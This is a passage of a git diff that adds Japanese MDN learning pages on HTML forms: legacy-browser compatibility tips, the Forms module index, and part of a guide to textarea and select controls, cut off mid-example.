href="https://www.mozilla.org/en-US/firefox/organizations/">ESR バージョン</a>のような1年経過した Firefox もまた古いブラウザです。そしてモバイルの世界では？ ブラウザも OS もアップデートできないときは？そう、最新ではない標準的なブラウザを搭載している多くの古い Android 携帯電話または iPhone があります。これらも古いブラウザです。</p> + +<p>残念ながら、そのような困難に対処するのも仕事の一部です。幸い、古いブラウザによって起きる問題の 80% 程度を解決する助けになることがわかっている秘訣がいくつかあります。</p> + +<h2 id="Learn_about_the_issues" name="Learn_about_the_issues">問題について学ぶ</h2> + +<p>実のところもっとも重要なことは、一般的なパターンを理解するためにそれらのブラウザに関するドキュメントを読むことです。例えば、多くの場合 CSS のサポート状況が HTML フォームにおける最大の問題です。あなたはスタートとして適切な場所にいます。使用したい要素 (または DOM インターフェイス) のサポート状況を確認しましょう。MDN では Web ページで使用できる多くの要素、プロパティあるいは API について、実装状況の一覧表を入手できます。しかし、驚くほど役に立つであろうリソースが他にもあります:</p> + +<h3 id="Browser_vendor_documentation" name="Browser_vendor_documentation">ブラウザベンダーのドキュメント</h3> + +<ul> + <li>Mozilla: あなたは適切な場所にいます。MDN をご覧ください。</li> + <li>Microsoft: <a href="https://docs.microsoft.com/ja-jp/openspecs/ie_standards/ms-iestandlp/8aea05e3-8c1e-4a9a-9614-31f71e679457" rel="external" title="http://msdn.microsoft.com/en-us/library/ff410218%28v=vs.85%29.aspx">Internet Explorer Standards Support Documentation</a></li> + <li>WebKit: このエンジンはいくつかの異なるエディションが存在するため、やや複雑です。 + <ul> + <li><a href="https://www.webkit.org/blog/" rel="external" title="https://www.webkit.org/blog/">The WebKit blog</a> や <a href="http://planet.webkit.org/" rel="external" title="http://planet.webkit.org/">Planet WebKit</a> は、WebKit のコア開発者による最良の記事を集約しています。</li> + <li><a href="https://www.chromestatus.com/features" title="http://www.chromium.org/developers/web-platform-status">Chrome platform status site</a> も重要です。</li> + <li><a href="https://developer.apple.com/technologies/safari/" rel="external" title="https://developer.apple.com/technologies/safari/">Apple の Web サイト</a>も同様です。</li> + </ul> + </li> +</ul> + +<h3 id="Independent_documentation" name="Independent_documentation">独自のドキュメント</h3> + +<ul> + <li><a href="http://caniuse.com" rel="external" title="http://caniuse.com">Can I Use</a> に、先端技術のサポート状況に関する情報があります。</li> + <li><a href="http://www.quirksmode.org" rel="external" title="http://www.quirksmode.org">Quirks Mode</a> は、ブラウザの互換性に関するすばらしい資料です。<a href="http://www.quirksmode.org/mobile/" rel="external" title="http://www.quirksmode.org/mobile/">モバイルの部</a>は現時点で入手できる最高の情報源です。</li> + <li><a href="http://positioniseverything.net/" rel="external" title="http://positioniseverything.net/">Position Is Everything</a> は、古いブラウザのレンダリングの不具合や (もしあれば) その回避策を入手できる最高の情報源です。</li> + <li><a href="http://mobilehtml5.org" rel="external" title="http://mobilehtml5.org">Mobile HTML5</a> は、"top 5" に限らず (Nokia、Amazon、Blackberry も含む) さまざまなモバイルブラウザの互換性情報を掲載しています。</li> +</ul> + +<h2 id="Make_things_simple" name="Make_things_simple">物事をシンプルに</h2> + +<p><a href="/ja/docs/HTML/Forms" title="HTML/Forms">HTML フォーム</a>は複雑なやりとりを伴うことから、一つの経験則があります: <a href="http://en.wikipedia.org/wiki/KISS_principle" rel="external" title="http://en.wikipedia.org/wiki/KISS_principle">可能な限りシンプルにしてください</a> (<a href="http://ja.wikipedia.org/wiki/KISS%E3%81%AE%E5%8E%9F%E5%89%87" rel="external" title="http://ja.wikipedia.org/wiki/KISS%E3%81%AE%E5%8E%9F%E5%89%87">日本語版</a>)。フォームを "より立派に" あるいは "高機能に" したいケースはたくさんありますが、効率的なフォームの作成はデザインや技術の問題ではありません。それを忘れないように、<a href="http://www.uxforthemasses.com/forms-usability/" rel="external" title="http://www.uxforthemasses.com/forms-usability/">UX For The Masses にあるフォームのユーザビリティ</a>に関する記事を読む時間をとってください。</p> + +<h3 id="Graceful_degradation_is_web_developers_best_friend" name="Graceful_degradation_is_web_developer's_best_friend">Graceful Degradation は Web 開発者の最高の味方</h3> + +<p><a href="http://www.sitepoint.com/progressive-enhancement-graceful-degradation-choice/" rel="external" title="http://www.sitepoint.com/progressive-enhancement-graceful-degradation-choice/">Graceful Degradation と Progressive Enhancement</a> は、一度に幅広いブラウザをサポートすることにより、すばらしいものを構築可能にする開発パターンです。新しいブラウザで何かを構築するときにそれが動作すると確信したい場合は、あれやこれやで古いブラウザにおいて Graceful Degradation を行っています。</p> + +<p>HTML フォームに関する例をいくつか見ていきましょう。</p> + +<h4 id="HTML_input_types" name="HTML_input_types">HTML input のタイプ</h4> + +<p>HTML5 でもたらされた新たな input のタイプは、退行手段がとてもわかりやすいことから、すばらしいものです。ブラウザが {{HTMLElement("input")}} 要素の {{htmlattrxref("type","input")}} 属性の値を知らない場合は、値が <code>text</code> であるかのようにフォールバックします。</p> + +<pre class="brush: html notranslate"><label for="myColor"> + Pick a color + <input type="color" id="myColor" name="color"> +</label></pre> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">Chrome 24</th> + <th scope="col" style="text-align: center;">Firefox 18</th> + </tr> + </thead> + <tbody> + <tr> + <th style="text-align: center;"><img alt="Screen shot of the color input on Chrome for Mac OSX" src="/files/4575/color-fallback-chrome.png" style="height: 35px; width: 139px;"></th> + <th style="text-align: center;"><img alt="Screen shot of the color input on Firefox for Mac OSX" src="/files/4577/color-fallback-firefox.png" style="height: 30px; width: 245px;"></th> + </tr> + </tbody> +</table> + +<h4 id="CSS_Attribute_Selectors" name="CSS_Attribute_Selectors">CSS 属性セレクタ</h4> + +<p><a href="/ja/docs/CSS/Attribute_selectors" title="CSS/Attribute_selectors">CSS の属性セレクタ</a>は <a href="/ja/docs/HTML/Forms" title="HTML/Forms">HTML フォーム</a> でとても有用ですが、一部の古いブラウザはサポートしていません。その場合、慣例では type と同等の class で二重化します:</p> + +<pre class="brush: html notranslate"><input type="number" class="number"></pre> + +<pre class="brush: css notranslate">input[type=number] { + /* こちらは一部のブラウザで機能しません */ +} + +input.number { + /* こちらはどのブラウザでも動作するでしょう */ +}</pre> + +<p>以下の記述では役に立たず (冗長であるため)、一部のブラウザで機能しない可能性があります:</p> + +<pre class="brush: css notranslate">input[type=number], +input.number { + /* セレクタのひとつが理解できない場合は規則全体が無視されるため、 + これは一部のブラウザで動作しません */ +}</pre> + +<h4 id="Form_buttons" name="Form_buttons">フォームボタン</h4> + +<p>HTML フォームでボタンを定義する方法は 2 つあります:</p> + +<ul> + <li>{{htmlattrxref("type","input")}} 属性の値を <code>button</code>、<code>submit</code>、<code>reset</code> あるいは <code>image</code> に設定した {{HTMLElement("input")}} 要素</li> + <li>{{HTMLElement("button")}} 要素</li> +</ul> + +<p>{{HTMLElement("input")}} は、要素セレクタを使用して CSS を適用したい場合に若干難しいことになります:</p> + +<pre class="brush: html notranslate"><input type="button" class="button" value="click me"></pre> + +<pre class="brush: css notranslate">input { + /* この規則は、input 要素で定義するボタンのデフォルトのレンダリングを無効にします */ + border: 1px solid #CCC; +} + +input.button { + /* これはデフォルトのレンダリングを復元しません */ + border: none; +} + +input.button { + /* こちらも同様です! 実際は、あらゆるブラウザでこれを行う標準的な方法はありません */ + border: auto; +}</pre> + +<p>{{HTMLElement("button")}} 要素は、起こりうる 2 つの問題に悩まされます:</p> + +<ul> + <li>古いバージョンの Internet Explorer に存在する不具合です。ユーザがボタンをクリックしたときに送信されるものは {{htmlattrxref("value","button")}} 属性の内容物ではなく、{{HTMLElement("button")}} 要素の開始タグと終了タグの間にある HTML コンテンツです。これはそのような値を送信する場合のみの問題であり、例えばユーザがクリックしたボタンに応じてデータを処理する場合です。</li> + <li>一部のとても古いブラウザは {{htmlattrxref("type","button")}} 属性のデフォルト値として <code>submit</code> を使用しないため、{{HTMLElement("button")}} 要素では常に {{htmlattrxref("type","button")}} 属性を設定することを推奨します。</li> +</ul> + +<pre class="brush: html notranslate"><!-- ボタンをクリックすると "A" ではなく "<em>Do A</em>" を送信する場合があります --> +<button type="submit" name="IWantTo" value="A"> + <em>Do A</em> +</button></pre> + +<p>プロジェクトの制約に基づいて、どちらの解決策を選択するかはあなた次第です。</p> + +<h3 id="Let_go_of_CSS" name="Let_go_of_CSS">CSS を手放そう</h3> + +<p>HTML フォームと古いブラウザにおける最大の問題は CSS のサポートです。<a href="/ja/docs/Property_compatibility_table_for_form_widgets" title="Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a> の記事の複雑さからおわかりいただけるとおり、これはとても難しい問題です。テキスト系の要素でいくらか調整が (サイズや文字色など) 可能であるとしても、それらには必ず副作用があります。残された最善の方法は、HTML フォームのウィジェットに一切スタイルを設定しないことです。ただし、それでも周囲のアイテムにはスタイルを設定してもかまいません。もしあなたがプロフェッショナルで、顧客が要求するようなことがあれば、<a href="/ja/docs/HTML/Forms/How_to_build_custom_form_widgets" title="HTML/Forms/How_to_build_custom_form_widgets">JavaScript によるウィジェットの再構築</a>といった難易度が高い技術について調査してみるとよいでしょう。しかしそのような場合でも、<a href="http://www.smashingmagazine.com/2011/11/03/“but-the-client-wants-ie-6-support”/" rel="external" title="http://www.smashingmagazine.com/2011/11/03/“but-the-client-wants-ie-6-support”/">顧客の愚かさを変える</a>ことをためらってはいけません。</p> + +<h2 id="Feature_detection_and_polyfills" name="Feature_detection_and_polyfills">機能検出とポリフィル</h2> + +<p>JavaScript は新しいブラウザにおいてすばらしい技術ですが、古いブラウザでは多くの問題を抱えています。</p> + +<h3 id="Unobtrusive_JavaScript" name="Unobtrusive_JavaScript">控えめな JavaScript</h3> + +<p>最大の問題のひとつは、API を利用できるかです。そのため、"{{原語併記("控えめな", "unobtrusive")}}" JavaScript によって取り組むことベストプラクティスであると考えられています。これは、2 つの要件によって定義される開発パターンです:</p> + +<ul> + <li>構造と振る舞いの厳密な分割。</li> + <li>コードが動作しない場合でも、コンテンツや基本的な機能性には依然としてアクセス可能かつ利用可能でなければならない。</li> +</ul> + +<p><a href="http://docs.webplatform.org/wiki/concepts/programming/the_principles_of_unobtrusive_javascript" rel="external" title="http://docs.webplatform.org/wiki/concepts/programming/the_principles_of_unobtrusive_javascript">The principles of unobtrusive JavaScript</a> (原文は Peter-Paul Koch 氏によって Dev.Opera.com 向けに記述され、現在は Docs.WebPlatform.org に移動しました) で、これらのアイデアを明快に説明しています。</p> + +<h3 id="The_Modernizr_library" name="The_Modernizr_library">Modernizr ライブラリ</h3> + +<p>欠けている API を提供することで、すばらしい "ポリフィル" が大きな助けになるケースが多数あります。<a href="http://remysharp.com/2010/10/08/what-is-a-polyfill/" rel="external" title="http://remysharp.com/2010/10/08/what-is-a-polyfill/">ポリフィル</a>は、古いブラウザにおける機能性の "穴を埋める" 小さな JavaScript コードです。ポリフィルは任意の機能のサポート状況を改善するために使用できますが、JavaScript 向けに使用するのは CSS や HTML 向けより低リスクです。JavaScript が動作しない可能性は多数あります(ネットワークの問題、スクリプトの競合 など)。しかし JavaScript については、控えめな JavaScript を念頭に置いて取り組む場合はポリフィルが欠けたとしても、重大な問題にはなりません。</p> + +<p>欠けている API に対してポリフィルを適用する最善の方法は、<a href="http://modernizr.com" rel="external" title="http://modernizr.com">Modernizr</a> ライブラリおよびそこからスピンオフしたプロジェクトである <a href="http://yepnopejs.com" rel="external" title="http://yepnopejs.com">YepNope</a> を使用することです。Modernizr は、機能が利用できるかを確認して適宜対応を行えるようにするためのライブラリです。YepNope は、条件付きで読み込みを行うライブラリです。</p> + +<p>サンプルは以下のとおりです:</p> + +<pre class="brush: js notranslate">Modernizr.load({ + // ブラウザが HTML5 の form validation API をサポートしているかを確認します + test : Modernizr.formvalidation, + + // ブラウザがサポートしない場合は、指定したポリフィルを読み込みます + nope : form-validation-API-polyfill.js, + + // どの場合でも、API に依存するコアアプリのファイルを読み込みます + both : app.js, + + // 両方のファイルを読み込んだら、アプリを初期化するためにこの関数を呼び出します + complete : function () { + app.init(); + } +});</pre> + +<p>好都合なことに、Modernizr チームは<a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills" rel="external" title="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills">すばらしいポリフィルのリスト</a>を管理しています。必要なポリフィルを選びましょう。</p> + +<div class="note"> +<p><strong>注記:</strong> Modernizr は、控えめな JavaScript や Graceful Degradation のテクニックに取り組むことを支援するためのすばらしい機能を搭載しています。<a href="http://modernizr.com/docs/" rel="external" title="http://modernizr.com/docs/">Modernizr のドキュメント</a>をご覧ください。</p> +</div> + +<h3 id="Pay_attention_to_performance" name="Pay_attention_to_performance">パフォーマンスに注意を払う</h3> + +<p>Modernizr のようなスクリプトはパフォーマンスを非常に意識していますが、200キロバイトのポリフィルをロードするとアプリケーションのパフォーマンスに影響を与えます。これは従来のブラウザでは特に重要です。多くは JavaScript エンジンが非常に遅く、すべての polyfill の実行はユーザにとって苦痛になります。パフォーマンスはそれ自体が課題ですが、従来のブラウザはそれに非常に敏感です。基本的にそれらは遅く、より多くのポリフィルが必要で、より多くの JavaScript を処理する必要があります。そのため現代のブラウザと比較して二重の負担をかけていることになります。従来のブラウザでコードをテストして、実際のパフォーマンスを確認しましょう。場合によっては、一部の機能を削除すると、すべてのブラウザでまったく同じ機能を使用するよりも優れたユーザーエクスペリエンスが得られます。最後に念のため、常にエンドユーザのことを考えるようにしてください。</p> + +<h2 id="Conclusion" name="Conclusion">おわりに</h2> + +<p>お分かりのように、従来のブラウザを扱うことは単にフォームに関することだけではありません。テクニック一式です。 しかし、それらすべてをマスターすることは、この記事の範囲を超えています。</p> + +<p>この <a href="/ja/docs/Learn/HTML/Forms">HTML フォームガイド</a>のすべての記事を読んでいれば、フォームの使用に慣れているはずです。新しいテクニックやヒントを見つけた場合は、<a href="/ja/docs/MDN/Getting_started">ガイドの改善</a>にご協力ください。</p> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めての HTML フォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">HTML フォームの構築方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームウィジェットの作成方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">JavaScript によるフォームの送信</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">古いブラウザでの HTML フォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">HTML フォームへのスタイル設定</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">HTML フォームへの高度なスタイル設定</a></li> + <li><a href="/ja/docs/Property_compatibility_table_for_form_widgets">フォームウィジェット向けプロパティ実装状況一覧</a></li> +</ul> diff --git a/files/ja/learn/forms/index.html b/files/ja/learn/forms/index.html new file mode 100644 index 0000000000..aa428b7db7 --- /dev/null +++ b/files/ja/learn/forms/index.html @@ -0,0 +1,96 @@ +--- +title: HTML フォーム +slug: Learn/Forms +tags: + - Beginner + - Featured + - Forms + - Guide + - HTML + - Landing + - Learn + - Web +translation_of: Learn/Forms +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">このモジュールでは、ウェブフォームの習得に役立つ一連の記事をそろえています。ウェブフォームは、ユーザーとやり取りするための強力なツールです — 通常、ユーザーデータを集めたり、ユーザーインターフェイスの制御に使われてきました。しかし歴史的および技術的な理由から、その能力を十分に生かして使用する方法は、必ずしも明確とは限りません。このガイドではウェブフォームの構造からスタイル、データの検証やサーバーへの送信まであらゆる本質的な側面を取り上げます。</p> + +<h2 id="Prerequisites" name="Prerequisites">前提条件</h2> + +<p>このモジュールを始める前に、少なくとも <a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を一通り読んでおくべきです。ここでは簡単に理解できる{{anch("Introductory guides", "導入ガイド")}}が見つかり、<a href="/ja/docs/Learn/Forms/Basic_native_form_controls">ネイティブフォームコントロール</a>ガイドも利用できます。</p> + +<p>しかしそれ以外のモジュールは HTML 知識よりも少し高度です — ページにフォームウィジェットを置くのは簡単ですが、高度なフォームの機能や CSS や JavaScript を使わないと実際に活用できません。このため、その他の節を見る前にまずは <a href="/ja/docs/Learn/CSS">CSS</a> と <a href="/ja/docs/Learn/JavaScript">JavaScript</a> を学んでおくのをお勧めします。</p> + +<p>上記のテキストは、ウェブフォームを HTML、CSS、JavaScript エリアに混ぜずに、独立したモジュールに置くことの良い指針です — フォーム要素は HTML要素より複雑で、最大限利用するには、関連する CSS と JavaScript テクニックを最大限活用する。</p> + +<div class="note"> +<p><strong>注</strong>: 自分のファイルを作ることができないコンピューター/タブレット/その他の端末で作業している場合、(大半の) コード例を <a href="http://jsbin.com/">JSBin</a> や <a href="https://glitch.com/">Glitch</a> といったオンラインコーディングプログラムで試すことができます。</p> +</div> + +<h2 id="Introductory_guides" name="Introductory_guides">導入ガイド</h2> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めてのウェブフォーム</a></dt> + <dd>このシリーズの最初の記事では ウェブフォーム作成のほんの最初を提供し、それには簡単なフォームのデザインや、適切な HTML 要素で実装することや、CSS で簡単なスタイルづけをすることや、データがサーバーに送られる方法などが含まれます。</dd> + <dt><a href="/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">HTML フォームの構築方法</a></dt> + <dd>基本的な話と共に、ここではフォームの色々な部分に構造と意味を与えるのに使う要素を詳しく見ていきます。</dd> +</dl> + +<h2 id="What_form_widgets_are_available" name="What_form_widgets_are_available">どんなフォームウィジェットが利用できますか？</h2> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></dt> + <dd>オリジナルの HTML {{htmlelement("input")}}タイプの詳細や、色々なデータ型を集めるのにどんなオプションが使えるかを見ていきます。</dd> + <dt><a href="/ja/docs/Learn/Forms/HTML5_input_types">HTML5 入力タイプ</a></dt> + <dd>ここでは <code><input></code> 要素を深く見ていき、HTML5 リリースにて追加された入力タイプや、さまざまな UI コントロールとデータコレクションの改良を見ます。さらには、{{htmlelement('output')}} 要素も見ます。</dd> + <dt><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Other_form_controls">その他のフォームコントロール</a></dt> + <dd>次には<code><input></code> 以外のフォームコントロールと関連するツール、例えば {{htmlelement('select')}}、{{htmlelement('textarea')}}、{{htmlelement('meter')}}、{{htmlelement('progress')}} を見ていきます。</dd> +</dl> + +<h2 id="Form_styling_guides" name="Form_styling_guides">フォームのスタイルガイド</h2> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">ウェブフォームをスタイリングする</a></dt> + <dd>この記事では基本的なスタイリング作業のために知るべき基本を含む、フォームを CSS でスタイリングするための入門を紹介します。</dd> + <dt><a href="/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">ウェブフォームの高度なスタイリング</a></dt> + <dd>ここでは、スタイルが難しい要素を扱うために必要な、さらに高度なフォームスタイリングテクニックを紹介します。</dd> + <dt><a href="/ja/docs/Learn/Forms/UI_pseudo-classes">UI 擬似クラス</a></dt> + <dd>現在の状態に応じて制御される HTML フォームコントロールを可能とする、UI 擬似クラス の入門です。</dd> +</dl> + +<h2 id="Validating_and_submitting_form_data" name="Validating_and_submitting_form_data">フォームデータを検証して送信する</h2> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Forms/Data_form_validation">クライアント側のフォームデータ検証</a></dt> + <dd>データ送信だけで充分ではありません — ユーザーがフォームに記入したデータが、我々が処理に成功するような正しいフォーマットであり、アプリケーションが破綻しないかを確認する必要があります。またユーザーが正しくフォームを記入してアプリを使うのにイライラしないよう手助けしたいです。フォーム検証はこの目的を達成するのに役立ちます — この記事では知っておくべきことを教えます。</dd> + <dt><a href="/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの</a><a href="/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">送信</a></dt> + <dd>この記事ではユーザーがフォームを送信するときに何が起こるのかを見ます — データがどこに行くのか、そしてそこでデータを受けたらどう扱うかなどです。また、フォームデータ送信に関連するセキュリティ上の懸念もその一部です。</dd> +</dl> + +<h2 id="Advanced_guides" name="Advanced_guides">高度なガイド</h2> + +<p>下記の記事は学習コースに必須ではないですが、上記のテクニックをマスターしてそれ以上知りたいときには、興味深く役立つものでしょう。</p> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームコントロールの作成方法</a></dt> + <dd>場合によってはネイティブのフォームウィジェットが必要となるものを提供していないことがあるでしょう。例えばスタイリングや機能で。この場合、生の HTML から自分自身のフォームウィジェットを作る必要があります。この記事ではその方法と考慮すべき点を、実際のケーススタディと一緒に説明します。</dd> + <dt><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">JavaScript によるフォームの送信</a></dt> + <dd>この記事では、標準フォームの送信ではなく、カスタム JavaScript 内で HTTP リクエストを組み立てて送る方法を見ます。またそうしたい理由と、そうする意味も見ていきます(<a href="/ja/docs/Web/API/FormData/Using_FormData_Objects">FormData オブジェクトの使用</a>もご覧ください)。</dd> +</dl> + +<dl> + <dt><a href="/ja/docs/Learn/Forms/Property_compatibility_table_for_form_controls">フォームコントロール用の CSS プロパティ互換性テーブル</a></dt> + <dd>この最後の記事では、どの CSS プロパティがフォーム要素に互換性があるのかを引くことのできるハンディリファレンスを提供します。</dd> +</dl> + +<dl> +</dl> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/HTML/Element#Forms">HTML フォーム要素リファレンス</a></li> + <li><a href="/ja/docs/Web/HTML/Element/input">HTML <input> タイプリファレンス</a></li> + <li><a href="/ja/docs/Web/HTML/Attributes">HTML 属性リファレンス</a></li> +</ul> diff --git a/files/ja/learn/forms/other_form_controls/index.html b/files/ja/learn/forms/other_form_controls/index.html new file mode 100644 index 0000000000..6c6f825de4 --- /dev/null +++ b/files/ja/learn/forms/other_form_controls/index.html @@ -0,0 +1,333 @@ +--- +title: その他のフォームコントロール +slug: Learn/Forms/Other_form_controls +tags: + - Beginner + - Controls + - Example + - Forms + - Guide + - HTML + - Web + - Widgets +translation_of: Learn/Forms/Other_form_controls +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/Forms/HTML5_input_types","Learn/Forms/Styling_HTML_forms", "Learn/Forms")}}</div> + +<p class="summary">ドロップダウンリストや複数行のテキストフィールドから、{{htmlelement('output')}}要素(前の記事で見ました)やプログレスバーといったその他の役立つ機能まで、非-<code><input></code> 型のフォーム要素の機能を詳しく見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシーと、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML の基本的な理解。</a></td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>非-<code><input></code> 型のフォーム機能と、HTML を用いた実装方法の理解。</td> + </tr> + </tbody> +</table> + +<h2 id="Multi-line_text_fields" name="Multi-line_text_fields">複数行のテキストフィールド</h2> + +<p>複数行のテキストフィールドは、{{HTMLElement("input")}}要素ではなく{{HTMLElement("textarea")}} 要素で指定されます。</p> + +<pre class="brush: html notranslate"><textarea cols="30" rows="8"></textarea></pre> + +<p>これは次のように描画されます:</p> + +<p>{{EmbedLiveSample("Multi-line_text_fields", 120, 120)}}</p> + +<p> <code><textarea></code> と通常の単一行テキストフィールドとの主な違いは、ユーザーが送信データの中に改行を (リターンを押すことで) 入れることができます。</p> + +<p><code><textarea></code> は閉じタグを取ることができて、既定のテキストは開始タグと終了タグの間にあるべきです。これに対し、{{HTMLElement("input")}} は閉じタグのない空要素です — <code><a href="/ja/docs/Web/HTML/Attributes/value">value</a></code> 属性の中に既定の値が入ります。</p> + +<p>注意として、<code><textarea></code> 要素 (その他の HTML 要素、CSS、JavaScript を含む)には何でも入れられるものの、この性質により、プレーンテキストコンテンツのように描画されます(非フォームコントロールでの <code><a href="/ja/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code> を使うと、プレーンテキストの代わりに HTML/リッチコンテンツの API を使用できます)。</p> + +<p>視覚的には、入力テキストは改行されて、既定ではフォームコントロールはリサイズ可能です。モダンブラウザーにはテキストエリアのサイズを増減できるドラッグハンドルがあります。</p> + +<p>下記のスクリーンショットは macOS での Firefox 71 と Safari 13 、Windows10 での Edge 18, Yandex 14, Firefox 71, Chrome 79 における既定の、フォーカスされた、無効な<code><textarea></code> 要素を表示しています。</p> + +<p><img alt="The default, focused, and disabled <textarea> element in Firefox 71 and Safari 13 on Mac OSX and Edge 18, Yandex 14, Firefox and Chrome on Windows 10." src="https://mdn.mozillademos.org/files/17029/textarea_basic.png" style="display: block; height: 338px; margin: 0 auto; width: 636px;"></p> + +<div class="note"> +<p><strong>注</strong>: 多少は面白いテキストエリアの使用例は、このシリーズの最初の記事の<a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form-styled.html">例</a> が見つかります (<a href="https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form-styled.html">ソースコードも見てください</a>)。</p> +</div> + +<h3 id="Controlling_multi-line_rendering" name="Controlling_multi-line_rendering">複数行レンダリングの制御</h3> + +<p>{{htmlelement("textarea")}} では、複数行にまたがってレンダリングするのを制御する 3 つの属性を受け付けます:</p> + +<dl> + <dt>{{htmlattrxref("cols","textarea")}}</dt> + <dd>テキストコントロールの (カラム) 幅を、平均的なキャラクター幅で指定します。これは <code><textarea></code>をリサイズすることで変更でき、また CSS で上書きもできるため、有効な開始時の幅です。何も指定されていない場合、デフォルト値は 20 です。</dd> + <dt>{{htmlattrxref("rows","textarea")}}</dt> + <dd>コントロールの行数を指定します。これは <code><textarea></code>をリサイズすることで変更でき、また CSS で上書きもできるため、有効な開始時の高さです。何も指定されていない場合、デフォルト値は 2 です。</dd> + <dt>{{htmlattrxref("wrap","textarea")}}</dt> + <dd>コントロールがどのようにテキストを改行するかを制御します。値は <code>soft</code> (デフォルト値)、この値では送信されるテキストは改行されないが、ブラウザーでレンダリングされるテキストは改行される、<code>hard</code> (この値を使うには <code>cols</code> 属性を指定する必要がある)、この値では送信テキストとレンダリングされるテキストの両方が改行される、<code>off</code>、この値では改行が停止、を取ります。</dd> +</dl> + +<h3 id="Controlling_textarea_resizability" name="Controlling_textarea_resizability">テキストエリアのリサイズの制御</h3> + +<p><code><textarea></code> をリサイズできるかは CSS の <code>resize</code> プロパティで制御されます。とりうる値は次の通り:</p> + +<ul> + <li><code>both</code>: デフォルト値 — 水平、垂直ともリサイズ許可</li> + <li><code>horizontal</code>: 水平のみリサイズ許可</li> + <li><code>vertical</code>: 垂直のみリサイズ許可</li> + <li><code>none</code>: リサイズ許可しない</li> + <li><code>block</code> と <code>inline</code>: <code>block</code> や <code>inline</code> 方向のみにリサイズできる実験的な値 (これはテキストの方向性によって変わります。詳しくは <a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Handling different text directions</a> を見てください)</li> +</ul> + +<p>これがどのように動作するのかのデモは、{{cssxref("resize")}} リファレンスページの最初にあるインタラクティブな例で遊んでみてください。</p> + +<h2 id="Drop-down_controls" name="Drop-down_controls">ドロップダウンコントロール</h2> + +<p>ドロップダウン コントロールは、ユーザー インターフェイスのスペースをあまり取らずに、ユーザーがさまざまなオプションから選択できるようにするためのシンプルな方法です。HTML には、<strong>選択ボックス</strong>と<strong>オートコンプリート ボックス</strong>という 2 つの形式のドロップダウン コンテンツがあります。どちらの場合も相互作用は同じです。コントロールを有効にすると、ブラウザーにはユーザーが選択できる値のリストが表示されます。</p> + +<div class="note"> +<p><strong>注</strong>: すべてのドロップダウンボックスの例は、GitHub の <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/drop-down-content.html">drop-down-content.html </a>にあります (<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/drop-down-content.html">ライブでもご覧ください</a>)。</p> +</div> + +<h3 id="Select_box" name="Select_box">選択ボックス</h3> + +<p>単純なセレクトボックスは、1 つ以上の {{HTMLElement("option")}} 要素を子要素として持つ {{HTMLElement("select")}}要素で作成され、それぞれが可能な値のうちの 1 つを指定します。</p> + +<div id="Simple"> +<pre class="brush: html notranslate"><select id="simple" name="simple"> + <option>Banana</option> + <option selected>Cherry</option> + <option>Lemon</option> +</select></pre> +</div> + +<p>{{EmbedLiveSample("Simple", 120, 120)}}</p> + +<p>必要に応じて、希望する {{HTMLElement("option")}}要素の{{htmlattrxref("selected", "option")}}属性を用いて、セレクトボックスのデフォルト値を設定することができます。<br> + - このオプションは、ページが読み込まれたときにあらかじめ選択されています。</p> + +<p>{{HTMLElement("option")}}要素は、{{HTMLElement("optgroup")}}要素の中に入れ子にすることができ、視覚的に関連付けられた値のグループを作成することができます。</p> + +<div id="groups"> +<pre class="brush: html notranslate"><select id="groups" name="groups"> + <optgroup label="fruits"> + <option>Banana</option> + <option selected>Cherry</option> + <option>Lemon</option> + </optgroup> + <optgroup label="vegetables"> + <option>Carrot</option> + <option>Eggplant</option> + <option>Potato</option> + </optgroup> 